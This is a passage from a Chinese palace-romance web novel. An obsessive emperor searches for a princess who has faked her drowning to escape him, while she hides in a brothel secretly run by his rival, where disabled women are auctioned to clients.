雪下得越来越大,好在御前护驾的都是顶尖高手,没一会儿,刺客都被杀了个精光,只留下了一个活口,被南风押到宋衍跟前。 那刺客被迫跪在地上,太眼狠狠地瞪着宋衍,啐了一口,大骂道:“狗皇帝!杀了我,我宁死不屈,你什么都别想从我这儿知道!” 宋衍没什么反应,只是提起剑尖挑开此人衣襟,只见他锁骨下方纹上了一个白鹤刺青。 再明显不过。 他一言不发,黑靴一脚踹上此人正脸,那人倏然间满脸鲜血倒在地上。 “杀了。” “是!” 他将沾满了血的长剑随意扔弃。正在此时,一个暗卫跑了上来,“陛下——不好了——” 他蹙眉看向跪在地上的暗卫。 那人慌慌张张,浑身颤抖道:“陛下!长公主殿下落水了!” “什么?” 宋衍大惊失色,转身朝着河边看去,除了湍急的水流,哪里还有半个身影。 仅仅一瞬间,他心脏好似被捏碎了一般,随意掷到冬日冰冷的河水中。耳边是呼啦啦的风声,天空中的雪落到他脖颈里,却感觉不到任何温度。 宋衍猛地转脚朝着长淅河奔了过去,在到河边时,南风眼疾手快搂住他的腰,大喊:“陛下不可!此时冰天雪地,又河水湍急,下面皆是暗石,若落入河中,必定九死一生啊!” “属下定会亲自将长公主寻回,陛下切不可将龙体不当一回事儿!” “滚——”宋衍扭头用手肘猛击了一下南风,可他依然死死不放。 宋衍恼怒,双手颤抖,满脑子除了沈遥,什么都没有了,没有理智,也没有了自己。 他又是一个肘击,南风疼得倒在地上,眼睁睁看着宋衍不顾一切直接跳入长淅河。 “陛下——” “陛下——” 南风大惊,转身指挥着暗卫,“还不快把陛下带回来!” 话音一落,包括南风在内的所有暗卫皆下饺子一般跳入长淅河,在水中朝着宋衍追去。 此时冬日天寒,更何况冰凉刺骨的河水。 在入河的瞬间,宋衍便被水流冲到了下游,水下的暗石磕破了手和腿,本就受伤的胳膊和大腿更是因此裂开,血如同河中的暗流一般往外流失。 可宋衍此时已经麻木到没有任何感觉,憋着气还是一头钻进河中,寻找着沈遥的身影,却许久不见任何。 他宁愿在河水中窒息,也祈求刚才所经历的一切都是幻觉。沈遥发生意外,比要了他的命还可怕。 他绝不允许! 可是为什么哪里都没有她的身影? 难道…… 不可能! 不可能! 她水性极佳,不会这么容易被冲走,也不会这么容易死! 可是,怎么可以? 她又一次丢下他!她怎能这么狠心! 他知道这几日她在与他虚与委蛇,他明明知道她又在打着什么心思,却还是甘愿被她所骗,没有丝毫将她戳破的想法。 只因太过怀念她的怀抱,她的吻,和她的体温。只要她能打起精神多吃几碗饭,只要她身子能好起来,被她骗就骗了,又有何? 他以为他能看好她,能护她一生的。 可是为了逃离他,她竟然连命都不顾了么? 为什么? 她就这样厌恶,这样恶心,宁愿赌上性命,也不愿留在他身边,究竟为什么? 在她心里,他究竟是什么?他就那么不重要?她有没有想过,没有她,他真的宁可去死! 若她死了,他定会让所有人为她陪葬,沈芯,宁家,宁梓谦,宋禾,包括他自己。 宋衍就这样来来回回在河中搜寻着沈遥,前胸后背都被暗石刮出了血,体力也在慢慢流失。 不知过了多久,他始终没能找到她,直到浑身麻木,渐渐失去了意识,才闭上眼睛任由自己被湍流所吞噬。 她真的不要他了,那他就去死好了。 …… 宋衍醒来已是三日后了,发了几日热,因着染了风寒,身上的伤口也有的发了炎。 可他整个人忽然平静了下来,淡淡地吩咐南风在整条长淅河寻人,哪怕连上游都不放过。 而他直接回淅镇,等待消息的同时,处理着堆积的公务,看起来好似前几日发了疯跳入长淅河的人不是他一般。 整条河,包括淅镇附近都被封锁。镇子上的人才知晓了这所谓的时家书生,其实来头大得很,但不知何身份,皆不太敢靠近。 后来听闻是在河中找人,一传十十传百,才知道,竟然是时夫人那日落入河中,而后便失了踪迹。 镇中嗑瓜子的婆子着实不敢置信,“呀,之前还特意提醒过时夫人,那河水湍急,切勿离河太近,没想到竟还是掉了河中,造孽啊。” “谁能想得到呢?好好的玩耍,竟然有盗匪出没,当时应该也是混乱中,不小心落河的吧。” “也不知这时家什么身 份,竟有这么多凶神恶煞的侍卫,还能让上头封锁了这附近。” 婆子吐出瓜子皮,“别提了,听说时夫人事儿后,我就提着鸡蛋上门了,结果也没见着时家爷,听说是心底着急,竟直接病了。” “这么漂亮的媳妇儿不见了,要是我,我也得急病。这大冬天的,又是下雪,那河又这般危险,在加之这时夫人还有病在身上,怕是……唉。” 众人面面相觑,最后摇头长叹,真是可惜了这花容月貌的夫人。 “诶,那不就是时家爷么?” 婆子们转头看去,没想到竟也生得如此俊俏。 宋衍额头还带着伤口,一言不发,也没给众人一个眼色,直接和南风出了镇子。他又来了河边,静静得看着拍打着岩石,留下一串串白色泡沫的河水,看不出任何情绪。 南风眼皮发跳,低着头,心底也是着急得不行。 如今顺着整条河,调动了无数人力物力,可这么些天,却仍然没见到丝毫沈遥的踪迹。 想到沈遥因着吃的少,力量和耐力都小了许多,若是从前的她,或许能自救,可是后来的她,真是极有可能没力气,溺毙河中。 南风不敢对宋衍说出猜测,他能想到的,宋衍又何尝想不到。 今日依旧是一无所获,宋衍骑着马顺着河走了一路,河中还有系着绳子,正在试图打捞的人。 直到天色渐晚,他才又回了淅镇。 南风收到消息后很快跟上前,恭道:“陛下,沈芯那边的人回来说,说是沈姑娘这些时日都待在宫里没出去过,似乎病情又加重了。” “她来淅镇之前呢?” 南风摇摇头,“也是待在宫里。” 他猜到宋衍的怀疑,觉得不大可能,“沈姑娘再怎么说,也只是一病弱女子,而此次长公主落河乃是意外。好几个当时正在打斗的暗卫都见着了,而且当日下过雪,地上都是积雪,结了冰,脚滑的可能更大。” 宋衍勾了下唇,没再多说什么,只是挥手让人退下,一人回了屋内。 看着点燃的五盏烛火,他将其一盏盏熄灭,只剩下最后床头的一盏。 回到床边后,又低头看了自己腰间没取下过来的香囊。 在床上沉睡的小橘见人来,立刻跳下在他脚边蹭着,叫个不停。 宋衍蹲下,将猫儿抱起,躺到床上,定定看着那盏快要燃尽的烛。 “不用找了,她不在,不回来了。”他哂笑一声,“她不要我们了。” 这些时日过去,他心底愈发恐慌。 此刻他祈求她平安地逃离,而不是在长淅河中遇难。整条河太宽太长,找一个人简直如同海底捞针,何其困难。 若她真的因他而死,他该怎么办? 面前的烛火随着时间流逝,最后彻底熄灭。 房间也随之昏暗下来,什么都看不见,连窗边的月光都如此不清晰。恐慌与窒息席卷而来,心脏像被数以万计的小虫子啃咬侵蚀。 可他就如同死人一般躺着,没有任何动静,就这样睁着眼睛到了天亮。 她以为死就可以真的抛下他了吗? 他曾说过,就算做了鬼,也要无时无刻纠缠着她。 上穷碧落下黄泉,他都是她的影子。 第57章 第57章女尸 蒲州城内,一群群身段婀娜,脂粉浓郁的女子在香月楼前招揽路过的公子哥。 香月楼算是蒲州最大的烟花巷柳之地,许多从长安城出来,北上的高官权贵在路过蒲州时都会在这温柔乡中逗留些时日。 “少爷我来此地是找花魁莹娘的,你可是嫌钱少,我有的是钱,你要多少!” 老鸨扇着团扇,面带笑意,“诶哟,真不是钱的问题,实在不巧,莹娘这几日恰逢月事,招待不了客人。咱们香月楼中可还有不少貌美如花的姑娘,不如公子试试其他人?” “晦气。”男人啐了一口,最后还是应下来,分别左拥右抱一个,被带去了雅间。 老鸨收回笑容,抬头望莹娘所在房间瞥了一眼。 红灯笼高挂,催情香四溢。 “放心,主上交代过,这段时间你们都暂时待在此地,如今整个大周四处都是你们的画像,等过了这段时日,风声小了,便送你们出蒲州北上。” 那名叫莹娘的花魁眉间点着金鱼样式的花钿,眼角微挑,朱唇抹了口脂后红艳又热烈,带着几分媚色,点了茶,推到两人面前。 “有劳了。”沈遥接过茶,在口中抿过。 身旁坐着的另一男子,可不就是宁梓谦。 沈遥赞叹不已,“莹娘所点的茶,果真如高山流水,清致淡雅。不知,你主上是谁?这整个香月楼都是你家主人的?” 宁梓谦听闻后手指一顿,眼中似乎想掩盖些什么,扭头着急道:“人家主人不愿露面,或许就是不想叫人知道身份。莹娘是我朋友,好心帮我们,才说服了她主人,让我们暂且藏匿在香月楼中。” 莹娘笑笑没有说话。 沈遥颔首表示理解,不再打探这香月楼背后之人。她环视一圈这家青楼,直觉这人不一般。 毕竟此处是北上的必经之地,香月楼又如此出名,这么多高官聚集此地,可不就是一处情报汇集之所。 那么,建立这座香月楼的人,目的又为何,难道会对大周不利? 虽然她是逃了出来,不想继续留在宋衍小畜生身边,可是不代表她想要他跌落皇位,要他死。 门外传来小厮动静,莹娘笑笑起身,“二位先在此歇着,奴家去去便回。” 房门合上后,沈遥又喝了几口茶,心底说不出的怪异。 倏然,一道冰冷如毒蛇般的视线落在她身上,好似化为实质一般。沈遥打了个寒颤,往那道视线看去,是雅间的门缝之外,她对上了一只正在窥视的眼睛。 她还没来得及出声,那只眼睛便收了回去,一个人影在门前扫过,又消失不见。 沈遥搓了搓自己手臂,心底更是发凉。 “怎么了?”宁梓谦大咧咧的什么也察觉不到。 沈遥摇摇头,看向他,疑惑道:“宁梓谦,当初我们的计划中没有行刺宋衍一事,那日的行刺……” 那日的行刺不单单是针对宋衍,她清晰的记得,躲在看客中的几个刺客,盯准了她发射暗器。 宁梓谦眉心一跳,无奈道:“诺诺,我哪儿有这样大的能耐,找这么多死士行刺?再怎么说,我也不愿拿你的命去冒险啊。” “也是。”沈遥看着面前的人,他依旧是曾经那个充满了阳光的少年,“你和莹娘怎么认识的?” 一个住在长安,一个住在蒲州。 一个大少爷,一个青楼花魁。 沈遥看他的神色又忽然多了几分怪异,并非她看不起莹娘,只是确实有些匪夷所思。 宁梓谦干咳一声,立马喝了几口茶润润嗓子,“当初从狱中逃出来,恰巧是莹娘救了我,后来就一直帮我藏匿身份来着。” 沈遥不知宁梓谦可得知了宁大公子的噩耗,她心底泛过一丝疼痛,选择不说,只另外问他,“如今宁家怎么样了?” 宁梓谦指尖一顿,眼底划过一丝恨意,又勉强转头朝着沈遥笑了下,“诺诺,我大哥他,为了找我,从家中出来后,癫症发作去世了。” 沈遥一时不知如何开口安慰他。 宁梓谦抓住桌上的一只杯子,力气大到似乎要将那只杯子捏碎,“而我父亲,在我给沈芯递密信的那日,也……” “梓谦……”沈遥知道宁忠病重,却还是走了。 她试图安慰,“宋衍派人照顾了宁家,还追封了爵位。” 宁梓谦低着头讽刺一笑,对此不予置评。 他抬头看向沈遥,一把抓住她的手,声音很低,“诺诺,如今我只有你了。” 沈遥手上感觉极为怪异,躲开他视线,慢慢抽出自己的手,道了一声,“节哀顺变。” 宁梓谦收回空荡的手,再度饮下茶水后,整个人平静了不少。 沈遥问:“我们接 下来要去哪儿?北上?” 宁梓谦点头说:“我有认识的朋友在那儿,可以帮我们,等过太原府,到云中城后,便真正安全了。” 沈遥:“我还以为你会带我回凉州和甘州,毕竟那里有姨丈。” 宁梓谦长叹一声:“诺诺,你远离朝堂,很多事都不知晓。虽说梁国公与你关系密切,可到底是天子近臣,当初能为了你和宋衍反先帝,是因为宋衍的身份可做他的底牌。如今你去找他,他怎会冒险护你?” 沈遥一时怔住,想到曾经为了说服姨丈收留,也是不容易的,他不是姨母,就算是姨母,也不会再为了她区区一个侄女,去违抗皇命。 “那云中城……” “北庭节度使会助我们。”宁梓谦也不再瞒着了,“北庭节度使虽上任不满一年,可为了整顿边塞军力,北部的兵力都在这人手中。” “哦。”沈遥很快便能理解,“只是没想到,你连北庭节度使都有结交。” 宁梓谦呵呵笑了两下,不想再说这话题。 “对了,今夜香月楼会有残花宴,听闻是这里最有特色,最出名的歌舞表演,诺诺要看看吗?” 沈遥对此并不是很有兴趣,还是应下。 宁梓谦:“那我与莹娘说一声,到时候给我们找个好位子站着。” 月朗星稀时,香月楼每月才一次的残花宴开始了。 每次到这宴会,各地文人墨客,高官富商纷纷想方设法获取帖子,然而最终拿到帖子的人,除了极高的权势地位,便是巨额的财富。 所以整个宴会的看客并不多。 沈遥带着面巾,和莹娘站在一处,而宁梓谦在另一边,看到沈遥时冲着她眨了眨眼。 她不知这所谓的残花宴究竟有何不同,直到一群舞姬中心,出场了几个奇特的女子。 而这几个女子,有的人断了手,有的人断了脚,甚至双腿都没有,只能定定地坐在鲜花簇拥,装扮华丽的轮椅上。 沈遥眉头蹙了起来。 若只是给这群人一个跳舞奏乐的机会,她或许觉得这算得上一出好事。 可这是哪儿?是青楼。 那来此的客人,自然是秉着猎奇的心态而来。 那群残缺的女子假笑着比出各种动作,等待着下方客人的竞价。 更让人恶心的是,这群人嬉笑着,眼底带着龌龊讨论。 “诶,你说这没了双腿的,在床上用什么姿势玩儿比较有意思?” 众人听到此话后,面面相觑地哄堂大笑起来。 沈遥深呼吸,莹娘一把抓住她胳膊,低声道:“这些人的身份,不是我们惹得起的。沈姑娘,你若现在出去,你是以长公主的身份面对他们?还是以逃犯的身份?” 沈遥明白若是她这样暴露在香月楼,莹娘必定会被连累。 莹娘面无表情地看着那没双腿的女子被竞拍出了天价,堪比她这花魁。得到那女子的男人大腹便便,眼神一直打量着她下方,似乎已经迫不及待起来。 莹娘哂笑,“这人出的价格可谓少见,可笑的是,残花们分不到一杯羹,全部进了香月楼的口袋。” 沈遥看那名被拍下的女子被几个小厮推着送到男子身边,那男子的手已经迫不及待伸了下去,而没双腿的女子貌似很是上道,主动攀到男子身上。 沈遥不想看下去了,直接转身离开,那股白日感受到视线倏然又落在她身上。 她扭头看去时,只见一个匆忙离去的影子,并不见人。 有人盯着她,是谁? 还未细细思索时,忽然一群官兵冲了进来,大喊着:“不许动!” 宁梓谦眼疾手快拉着沈遥往一旁角落躲了起来。 老鸨上前,笑道:“这是哪儿的风,把官爷给吹来了。” 为首的官兵并不在乎,冷眼扫过现场,在几个残花身上停留片刻后,道:“我们接到举报,说是你这香月楼窝藏逃犯,便前来搜查。” 老鸨不可置信地瞪大了眼睛,摇起了手中的帕子,道:“不可能的,官爷啊,定是有对家嫉妒我这香月楼生意好,遇到今儿刚好是每月一次的残花宴。” 官兵似乎觉得老鸨啰里八嗦,一把将人推开,想叫人彻底搜查这香月楼。 躲在暗处的沈遥寻思着有没有什么地方可以逃走,可是细细一看,整个香月楼已经被官兵所包围,哪儿来的机会跑得掉。 老鸨已经眼疾手快地站了起来,依然一脸带笑地走到官兵面前,道:“官爷,若是这一通搜查,翻箱倒柜,我这香月楼今夜生意也难做下去了。” “不如这样,今夜官爷看上了哪个残花,我让其好好伺候官爷,不收钱,如何?” 那为首的官兵停下脚步,摸着胡子笑着看了看老鸨,最后往台上一美艳窈窕,断了一只腿的女子一指,“既然如此,那就她来。” 老鸨心下松了口气,便招呼着人去了雅间。 搜查最终没有进行下去,而围困香月楼的官兵却还一直在,残花宴则按原计划进行了下去。 沈遥和宁梓谦窝在角落里,直到清晨天光亮起,那官兵心满意足从雅间出来后,才撤走了所有人。 当沈遥从角落走出后,香月楼已经恢复了秩序。 倏然间,她注意到了一个看起来格外熟悉的身影,站在香月楼门口,窥视着离开的官兵,手握成拳,似乎极为不甘。 而那人只有一只手,应是属于昨夜没上台的残花之一。 在她转头的瞬间,沈遥立马认了出来,竟是消失已久的楚绣。 …… 月光如水,整个淅镇安静得听不到一点儿呼吸,镇外的长淅河则依旧波涛汹涌,砸在岩石上的水声响彻云霄。 宋衍这一日依旧一无所获,正在他准备回镇子时,一侍卫朝着他奔来,在他身前跪下,“陛下!我们在下游找到一具尸体,目前能看出是一具女尸!” 宋衍脚下的木枝忽然被他踩断,明明是夜晚,林间大群的鸟却收到惊吓,拼了命地飞至上空。 宋衍沉默不言,许久后才翻身上马,拉起缰绳,“带路。” “是!” 宋衍赶到下游时,那具尸体已经被收了起来,草席盖着身子。 “陛下,这具尸体在水中泡了太久,如今已经面目全非,看起来极为可怖。”侍卫吞咽着口水,试图提醒他。 宋衍没有任何情绪地上前蹲下,看着草席,草席下一股恶臭传来,四周的侍卫都戴上了面巾。 他没有犹豫,将草席拉开,见到了这具女尸。 女尸身上穿着和沈遥那日相同的衣裳,虽然发髻有些松散,却也是和她一样。 他视线一顿,落到发髻间,慢慢伸手,取下了那枚梨花玉骨簪。 簪子触感冰凉,贴在指腹上倏然产生了一股微微的刺痛。他摩挲着簪子,下方骨头的地方被打磨尖锐,曾经刺进过他的胸膛。 一串血从他大拇指指腹上滑落,似乎和簪子融为了一体。 宋衍看回这具已经烂了的女尸,倾身上前嗅了嗅。 可惜,只闻到尸臭,没有曾经她身上的香味。 四周的侍卫们早被他挥手隐匿起来。 宋衍坐在尸体旁,一动不动地盯着那具尸体,从头到脚扫过,没放过任何一处细节,就这样在夜色冷风下坐了一个晚上。 直到翌日东方大白,他站起身,不远处的南风见状上前,不忍地扫视过‘沈遥’的尸体。 “陛下?让长公主安息吧。” 宋衍手中仍然把玩着 那支玉骨簪,最后转身道:“回长安。” “是。”南风见宋衍脸上没有流露出丝毫异状,算是放下了心。 所有的封禁解除,回到长安已是一周后,而永乐长公主尸体在长淅河中被发现的流言不知如何,悄无声息地四处传开。 此事叫人大为震惊。 早朝之上,礼部尚书上前禀报,关于将‘沈遥’以永乐长公主名义下葬之事。 然而宋衍却没什么反应,“此事不急,暂且延后,届时朕会让你去做。” “……是,陛下。”吏部尚书低着头,想了想,又道:“陛下,臣有另外一事要奏。” “何事?” “陛下登基已有两载,如今大周四处也已逐渐恢复太平,日益强盛,陛下已过十九,是该广开选秀,择后宫为陛下开枝散叶了。” 此话一出,朝廷上众人低着头互相看对方神色,有将自家女儿送进宫这一心思的人可不少,可这位皇帝陛下却一直没这意思。 没想到今日礼部尚书竟直接提了起来。 宋衍垂眸摩挲着手,低声道:“朕记得,你儿子上个月在西市强抢民女,被苦主告上官府后,你夫人仗着你的权势压人,还砸了苦主一家的铺子。” 礼部尚书身子一抖,直接跪了下来。 宋衍微微勾唇,话语轻和,“不必惊慌,朕只是想让你先管好自家的事儿。想必这也是件着实叫人头疼之事,这些时日你先不必上朝,好好歇息。” 礼部尚书一脸苦相,完全没想到自己儿子和夫人的事儿竟闹到了皇帝耳中,“……是,陛下。” 宋衍退朝后一直坐在太极殿中,没有看奏章,也没有离开,只是把玩着手上一只新的玉毛笔。 手心昨夜又多了一条伤口,和曾经的疤叠加一起,盘根错节,丑陋不堪。 独坐了一个时辰,他又叫人上了烈酒,开始一壶壶喝着。 宋衍酒量不差,喝了半晌,意识竟愈发清晰,好在沈遥的面孔,在他脑海中也越来越清楚。 胡生从殿外入内,躬身道:“陛下,沈芯姑娘求见。” 宋衍眼皮微微跳了一下,猜到她因何事而来,便允了其入内。 沈芯进入太极殿中,见到的便是这样一幅画面。 俊美的男子斜靠在龙椅上,殿内金碧辉煌反射着光,在他身上映出一丝丝金色的芒。他嘴角一酒液顺着下巴,喉结,流淌至衣襟内,眼角泛着一丝异样的猩红。 “陛下。”沈芯在下方行礼,却没得到回应,好似上方的男子睡死过去一般。 她心跳了两下,站起身,主动一步步悄悄走上前,在龙椅旁蹲下。 “陛下?” 还是没有反应。 沈芯蹙眉,正细细观察,视线落在他的唇上时,宋衍忽然睁眼,视线刺在她脸上,叫她吓了一跳,心底发凉,往后一挪,直接坐在了地上。 宋衍认出时沈芯,直起身子捏着眉心,闭眼缓了许久。 沈芯回过神,才扶着一旁的案几站起,又往后退了几步低着头,“陛下,刚才绵绵时担忧陛下,这才……” 宋衍轻轻“嗯”了一声,抬手压了压,似乎在问她的来意。 沈芯低着头转了下眼珠子,双眼很快红了起来。 她缓缓抬头,看进宋衍的眸子,声音带着强烈的哀痛,“陛下,绵绵都知道了,阿姐在长淅河失足,然后……” 一边说着,她眼泪直接大滴大滴地滚落出来,砸在地上,发出“啪”的轻响。 宋衍忽然开口问她:“淅镇见到沈遥时,你没看出她异常吗?” “异常?”沈芯登时愣怔,“阿姐只是没什么口腹之欲,绵绵当时也只是努力开解她,后来也见着阿姐胃口逐渐上来。” 宋衍的黑瞳如暗夜黑豹一般,盯得她头皮发麻。 沈芯是沈遥的亲妹妹。 沈遥重视她,却没那么喜欢她。 沈芯的野心,都表现在了她那双眼睛里。 沈芯低下头躲开他的视线,声音也变得细若蚊音,“陛下准备何时下葬阿姐?或许是该让阿姐早些入土为安才是。” 宋衍依旧沉默,殿外的阳光忽然射了进来,刺了下他的眼。 明明地龙将太极殿烘得很暖,四周却仍是寒冷得心脏在痉挛。 许久后,他终于道:“她没死,她不是她。” 第58章 第58章滚烫又黏腻的视线 沈芯顿时睁大了双眼,猛地抬头看向宋衍,挂在脸上的泪痕不上不下,眼眶中的水渍也流不出来。 此时她不敢去细细思索宋衍如何知晓,那具尸体不是沈遥。她生怕被面前的男人看出自己的心声。 宋衍直起身子,居高临下看着她:“这次的事情,看在她安然无恙的份上,朕暂且不与你计较,因为都是她的选择。” “只是从明日起,你便搬离皇宫。” “搬离皇宫?”沈芯喃喃自语,在转念之间,忽然发觉了更可怕的事。 面前的人知道自己在此次沈遥假死逃走的计划中,扮演了什么角色。哪怕当初在小心谨慎,也没能逃过他的法眼。 当她再次看向他的眼神时,她骤然间冷汗直流,浸湿了她背上的衣裳。 若那具尸体真的是沈遥,面前的沈芯也早已同样是具尸体了。 “不过念在你身子不好,又是沈遥妹妹的份上,朕会敕封你为端静公主,赐公主府,往后入宫,需递折子。” “……绵绵谢过陛下。”沈芯低下头咬唇。 这算得上她想要的,却又不能完全算得上。 她终于获得了公主的位子,可是却与唯一的永乐长公主又差了一级。 而他封她为公主,是在告诉她,从今往后,她永远只能当妹妹,而不许再妄想皇后之位,也不许再随意出现在他面前。 正当沈芯退下时,南风疾步走入了太极殿。 “陛下!蒲州传来消息!” 宋衍放下酒杯,目视南风,“什么消息?” 南风:“有人前两日举报了蒲州城中一所青楼,窝藏了宁梓谦,当地官府派了人去搜查,可是据说那官兵只在其住了一晚,便离开了。” 这些地方上的官兵,都是仗着不在天子脚下,浑水摸鱼,吃香喝辣。 宋衍垂眸,摩挲着手指,“蒲州青楼……看来需要朕亲自整顿了。” …… 香月楼雅间内,沈遥细细磨着香,待门被敲响后,宁梓谦走了进来,坐到她对面。 “诺诺,你找我?” “嗯。”沈遥笑笑,将手中新的香点燃,“这香月楼中点的香实在浓郁了些,我今日特地去弄了点儿这种清淡的。” 宁梓谦不太懂这些,倾身上前微微闻过,却没想到呛得咳嗽一番。 沈遥往门外看一眼,确认无人后,才无意间问起他,“梓谦,当初你被宋衍关在何处了?应该吃了不少苦吧。” 宁梓谦饮下一口茶,想也没想便道:“诏狱。” “诏狱……”沈遥盯着他的双眼,“真是,可惜我那时都不知道,也没能帮上你什么。那地方如此森严,你跑出来定费了一番功夫吧。” 宁梓谦挠了挠头,“哎,还行,和狱友一起出逃的。虽然没对我用刑,可你可不知,那诏狱里多可怕,我是一天也难待下去!” “那狱友还真厉害,据我所知,诏狱可是重兵把守。”沈遥揉了下眼睛,“若是没有宋禾的帮助,怕也是出不来吧,有好好感谢人家吗?” “感谢就……”宁梓谦的话顿住,睁大了眼看着沈遥,“诺诺!你、你、你怎么知道!” “我看见楚绣了。” “楚绣?谁啊。”宁梓谦并不知此人是谁。 “一个故人。” 当初朱氏虐杀动物,又提及血鬼,说明此人便是宋禾白鹤的信徒。朱氏与楚绣走得如此近,很难说楚绣也不是白鹤的人。 现如今想来,当初朱氏和楚绣,实际不是被发卖,而是被宋衍关起来了。 可她们又如何能逃出来? 身为两个弱女子,说是没有白鹤的帮忙,沈遥不信。 再加之 那日的行刺,恐怕也是宋禾一手主导。 想必那日举报香月楼的人正是楚绣。原本沈遥不知楚绣为何举报香月楼,可看到她缺失的一只手,以及香月楼特有的残花宴,心底似乎隐约明白过来。 毕竟残花在这个地方,只是最低等的玩物,或许哪天死在了客人的床上,也只会被随意处理,曝尸荒野,无人问津。 能想出残花宴这种,确实蛮符合宋禾扭曲的心理。 沈遥并不想多提楚绣,只道:“香月楼背后的主人,是宋禾吧。” 宁梓谦心跳出了嗓子眼,说不出话。 沈遥一笑,摇摇头喝下一杯茶。 宁梓谦见实在瞒不过去,只得点头认下,“是他不让我与你说,怕你……” “怕我知晓了,便不配合了。”沈遥替他回答。 “诺诺!我……”宁梓谦似乎想解释什么,却半晌说不出话。 “梓谦,你应该记得,之前就是他绑走了我,用来威胁宋衍。你知不知道,宋禾不是什么好人。”沈遥打断他,“他在利用你,目的在于找宋衍报仇,夺取皇位。” 见他不说话,沈遥心底动容,“梓谦,我一直都觉得,你还是当初那个善良单纯的少年,你不会与宋禾那样的人同流合污的,是吗?” 宁梓谦低头咬牙。 沈遥所言他又何尝不知,可是,如今也只有宋禾能够帮他了。 “为什么?” “什么为什么?” “诺诺,宋衍那狗贼如此待你,你竟然还会站在他那边吗?” “……” “诺诺,你跟我走的究竟为了什么?定然已经……不是为了我,为了我们的婚约了吧。” “梓谦。”沈遥确实被他问住了,许久后,她才回他,“无论如何,他都是我的亲人。我不想待在他身边,却不代表我想害死他。” …… 蒲州城人流涌动,街道上仍是欢声笑语,行人一路走走停停间,忽然一阵马蹄声从远处响来,冲进大队甲卫,将人群踢开,空出一整条长街。 紧接着,容貌俊美,气度不凡的男子驾于一高头大马之上,冲过街道,身后跟着四大千牛卫,直接一路往香月楼而去。 原本楼内被吓得四散奔逃的客人和妓子被控制下来后,都瑟瑟发抖地面对着墙壁,不敢动弹。 宋衍利落下马,直接将缰绳扔到身后紧随的侍卫手中,步入香月楼,站在天井处环视着五层高的楼。 南风在交接后上前道:“陛下,搜完了,没有宁梓谦和长公主的踪迹。” 宋衍表现得很平静,只问:“是谁举报的香月楼?” 说到举报人,南风一顿,挥手叫人带了出来。 楚绣被两个人带到宋衍面前,她一直低着头不敢直视天颜,直到抬头一瞥时,整个人吓了一跳一笑。 “时、时爷?”她身子一颤,又立刻改了口:“民女参见陛下。” 宋衍淡淡扫了她一眼,“这谁?” 他觉得有些眼熟。 楚绣如打了霜的茄子,没想到竟然没被人记住丝毫。 其实她一直不知宋衍和沈遥真实身份,自被关入地牢后,她是察觉到了时家爷身份的不同寻常。在被砍去一只手后,更是不敢抱任何多余的幻想与期待。 后来是母亲朱氏,在白鹤的帮助下带着她逃离了地牢,却一直没回白鹤,反倒风餐露宿流浪许久,最后被一家商贾捡了回去。 那商贾家老爷不是什么好人,她经常看到有丫头入了书房,最后下身淌着血被抬出来。 那家老爷看上了她,她不从,便先给朱氏安了罪名,又送到府衙受了杖刑。 她假意应付了那老爷一阵子,后来趁着朱氏被发卖时,便自己一人逃了出来,哪儿知后来又遇上白鹤的人,那个遮了半张脸的男子,说是将她带来这香月楼,供她吃住,哪儿知竟成了残花一员。 而进了这香月楼后,更是彻底逃不掉了。 实在恨极,恨极那时爷,也恨那沈遥。 却没想到叫她在香月楼见到了沈遥,而跟在沈遥身边的男子,则是街道上贴满了画像的逃犯宁梓谦。 沈遥竟然和逃犯搅和在一起,还来了这蒲州城,被莹娘藏在香月楼。 她不知是沈遥被休了,还是红杏出墙了,但这是个机会。包庇逃犯,一向以同罪论处。 只是没想到,竟被老鸨打发了过去。 而更没想到,当初砍了自己手的人,竟然是皇帝! 南风也没想到,这么久了,宋衍竟都没记住楚绣的脸。 他恭敬回答:“这是楚绣。” 说起名字,宋衍终于想起来了。 他将刺骨的视线淡淡落在楚绣身上,她仿佛瞬间被他那双眼睛刺穿了一般,浑身疼得厉害。 “你见到了宁梓谦?” “是,陛下。奴婢亲眼所见。”楚绣低下头,躲开视线,明明是冬日,却浑身都在冒汗。 “宁梓谦身边的人,可是沈遥?” 楚绣一怔,点头承认了。 她慢慢深呼吸平复下波动的心绪,香月楼,她想尽办法也逃不掉。可此时定是个机会,因为面前的男子可是天子啊。 她扭了下头,寻视一番,将目光盯在不远处的莹娘身上,直接朝着人指了过去,“是她,是莹娘藏匿的逃犯!” 此话一出,莹娘一颤,被侍卫直接抓了上前,扔到宋衍面前。 她咬唇没有说话,只一直低着头。 宋衍的金丝黑靴落在她眼前,声音从上方飘来,“沈遥呢?” 莹娘打着颤,道:“走了。” “走了?” “他们今早走的。” “唔。”宋衍点点头,舌尖抵着腮帮子。 南风见状,上前厉声问:“他们人去了何处?” “奴、奴也不知。”莹娘只能摇头。 宋衍很轻易便看出来,虽然她在害怕,却也是说了实话。 他视线又扫过楚绣,转身离开,下令道:“查封香月楼。” 在他往前走之际,楚绣着急喊他:“陛下!奴婢举报有功,可否带奴婢离开香月楼。” 然而她话说完了,宋衍却没有任何停顿,很快便不见了人影。 紧接着,香月楼所有人都被押了下去,楚绣作为举报者,待遇相对好很多。 可老鸨在路过她时,讽刺地看着她笑了一声,“你完了,主子是不会放过叛徒的。” 声音转瞬即逝,却冷得她阵阵发抖。 什么意思? 楚绣在衙门走了个过场后,便被放走。只是香月楼彻底封了,她竟一时无处可去,只能找了一家客栈暂歇。 老鸨的声音持续不断地回荡在她耳边,可这一整日下来,什么都没发生,再加上没了香月楼,她也不用再当那任人亵玩的残花,乃好事一桩。 第二日平淡过去了,依旧什么都没发生。 第三日,听说莹娘被放了出来,可老鸨和其他许多人还被关在牢里。 第四日、第五日,依然什么都没发生。 楚绣松了口气,她真的解脱了。 那日老鸨路过时,恐怕也只是虚张声势罢了。而原本宋衍带给她的恐惧也逐渐消失,她在街上游荡着,想着或许可以去找宋衍,最起码在他身边做个小丫鬟,说不定将来还能得势。 可到府衙后,才知道皇帝第一日便离开了蒲州城,不知去了何处。 楚绣气不打一处来,此刻没了上头的主子,又身无分文。好在城里的集市有庙会,人群拥挤,她混在其中偷了好几个钱袋。 这日终于好吃好喝一顿,待快宵禁时才又回到客栈。 数着钱时,忽然眼前的烛火被风吹灭。 楚绣一怔,立刻拿起火折子试图点亮,可亮了后很快又灭了,也没注意到,自己身后站了一个人。 直到呼吸声响起,手中的火折子掉落,她才终于意识到,猛地转身,发现竟是之前将她送进香月楼,脸被头发遮了半张脸的人。 “你!” 宋禾在黑暗中盯着她,冷笑,“本以为,留下你这颗棋子,能发挥些什么作用,却没想到被你这棋子 反咬一口。” 